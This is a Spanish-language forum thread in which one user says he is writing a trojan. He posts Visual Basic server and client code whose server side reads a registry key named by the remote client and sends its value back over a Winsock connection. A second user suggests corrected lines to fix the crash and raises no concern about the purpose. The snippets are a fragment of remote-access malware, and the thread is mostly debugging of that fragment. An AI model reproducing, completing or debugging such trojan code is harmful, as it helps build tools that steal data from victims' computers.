error en code

[krackwar]

ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox  aki va el code
----------en el server-------------

Código [Seleccionar] Expandir

If Left(datos, 2) = "hk" Then
Dim ind As Object
   Set ind = CreateObject("WScript.Shell")
   Dim tmp As String
   tmp = wsh.RegRead datos
   ws.SendData "2020" & tmp
End If
.-----en el cliente-------

Código [Seleccionar] Expandir

if left(datos , 4 ) ="2020" then
datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería


gracias de antemano

[Chefito]

Hola. Si pusieras el error que te lanza el vb lo resolveríamos más facilmente . Puede que el error esté en estas lineas?

Código [Seleccionar] Expandir

   tmp = ind.RegRead datos
    ws.SendData "2020" & tmp & vbcrlf

[krackwar]

Hola. Si pusieras el error que te lanza el vb lo resolveríamos más facilmente . Puede que el error esté en estas lineas?

Código [Seleccionar] Expandir

   tmp = ind.RegRead datos
    ws.SendData "2020" & tmp & vbcrlf

no me muestra error solo se cierra

[Chefito]

Pero probastes las lineas modificadas que te dejé?

[krackwar]

Pero probastes las lineas modificadas que te dejé?

si